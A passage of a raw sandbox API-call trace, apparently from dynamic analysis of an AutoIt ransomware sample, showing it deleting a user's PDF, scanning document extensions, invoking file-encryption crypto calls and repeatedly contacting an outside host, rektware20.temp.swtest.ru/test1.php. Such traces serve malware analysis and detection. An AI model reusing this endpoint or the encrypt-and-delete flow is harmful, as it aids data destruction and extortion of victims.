cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0072.770] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0072.770] CryptReleaseContext (hProv=0x17aa918, dwFlags=0x0) returned 1 [0072.816] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.816] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.816] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.816] FreeLibrary (hLibModule=0x74c60000) returned 1 [0072.817] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.817] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.817] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.817] CloseHandle (hObject=0x2ac) returned 1 [0072.820] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.820] CloseHandle (hObject=0x3bc) returned 1 [0072.825] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.828] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.828] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", lpFilePart=0x0) returned 0x36 [0072.828] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\g7vwvq8.pdf")) returned 0x20 [0072.828] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c8f0 [0072.829] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\g7vwvq8.pdf")) returned 1 [0072.836] FindNextFileW (in: hFindFile=0x164c8f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0072.836] FindClose (in: hFindFile=0x164c8f0 | out: hFindFile=0x164c8f0) returned 1 [0072.836] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.836] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.837] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.837] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.837] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0072.837] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0072.837] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.837] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0072.837] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.837] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0072.837] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0072.837] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d78, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d78, lpdwBufferLength=0x130ef8c) returned 1 [0072.837] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.837] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.838] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.839] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0072.839] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0072.839] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0072.839] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629170, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629170*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0072.839] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291f0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0072.839] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.840] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.840] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.840] CloseHandle (hObject=0x0) returned 0 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.840] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HJbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JbyC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="byC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yC1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jx7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ryR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.841] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yR-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.842] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.842] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.842] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.842] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0072.842] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0072.842] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0072.842] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0072.842] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0072.842] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0072.842] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0072.842] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0072.842] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0072.842] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0072.842] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d90, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d90, lpdwBufferLength=0x130ee1c) returned 1 [0072.842] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0072.842] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0072.843] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0072.843] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0072.843] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0072.843] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0072.843] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0072.843] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0072.843] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0072.844] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0072.844] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0072.844] CloseHandle (hObject=0x0) returned 0 [0072.844] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.844] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\HJbyC1jx7MryR-w.ppt", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0072.844] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0072.845] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.845] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.845] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.845] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.845] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.845] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.845] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0072.845] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.845] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.845] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0072.846] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.846] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.846] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.846] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.846] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.846] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0072.846] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.846] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0072.846] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0072.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0072.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0072.847] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0072.847] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa450) returned 1 [0072.848] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, 